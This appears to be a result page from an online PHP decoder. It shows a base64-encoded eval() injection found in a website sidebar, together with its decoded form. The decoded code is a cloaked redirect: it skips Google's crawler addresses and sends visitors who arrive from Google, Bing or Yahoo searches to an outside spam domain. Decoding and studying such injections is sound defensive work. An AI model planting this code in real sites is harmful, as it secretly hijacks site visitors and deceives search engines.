Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<div id="sidebar"> <?php eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOy..

Decoded Output download

error_reporting(0); if (!headers_sent()){ if (isset($_SERVER['HTTP_USER_AGENT'])){ if (isset($_SERVER['HTTP_REFERER'])){ if ((preg_match ("/MSIE (9.0|10.0)/",$_SERVER['HTTP_USER_AGENT'])) or (preg_match ("/rv:[0-9]+\.0\) like Gecko/",$_SERVER['HTTP_USER_AGENT'])) or (preg_match ("/Firefox\/([0-9]+\.0)/",$_SERVER['HTTP_USER_AGENT'],$matchf) and $matchf[1]>11)){ if(!preg_match("/^66\.249\./",$_SERVER['REMOTE_ADDR'])){ if (stristr($_SERVER['HTTP_REFERER'],"yahoo.") or stristr($_SERVER['HTTP_REFERER'],"bing.") or preg_match ("/google\.(.*?)\/url\?sa/",$_SERVER['HTTP_REFERER'])) { if (!stristr($_SERVER['HTTP_REFERER'],"cache") and !stristr($_SERVER['HTTP_REFERER'],"inurl") and !stristr($_SERVER['HTTP_REFERER'],"EeYp3D7")){ header("Location: http://brrjnknkjadgd.rebatesrule.net/"); exit(); } } } } } } }

Did this file decode correctly?

Original Code

<div id="sidebar">
        <?php           eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOyBpZiAoIWhlYWRlcnNfc2VudCgpKXsgaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpeyBpZiAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSl7IGlmICgocHJlZ19tYXRjaCAoIi9NU0lFICg5LjB8MTAuMCkvIiwkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSBvciAocHJlZ19tYXRjaCAoIi9ydjpbMC05XStcLjBcKSBsaWtlIEdlY2tvLyIsJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgb3IgKHByZWdfbWF0Y2ggKCIvRmlyZWZveFwvKFswLTldK1wuMCkvIiwkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJG1hdGNoZikgYW5kICRtYXRjaGZbMV0+MTEpKXsgaWYoIXByZWdfbWF0Y2goIi9eNjZcLjI0OVwuLyIsJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10pKXsgaWYgKHN0cmlzdHIoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddLCJ5YWhvby4iKSBvciBzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSwiYmluZy4iKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10pKSB7IGlmICghc3RyaXN0cigkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10sImNhY2hlIikgYW5kICFzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSwiaW51cmwiKSBhbmQgIXN0cmlzdHIoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddLCJFZVlwM0Q3IikpeyBoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vYnJyam5rbmtqYWRnZC5yZWJhdGVzcnVsZS5uZXQvIik7IGV4aXQoKTsgfSB9IH0gfSB9IH0gfQ==")); ?>
</div>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 fc1acc586807e153c901c4c814b8609d
Eval Count 1
Decode Time 80 ms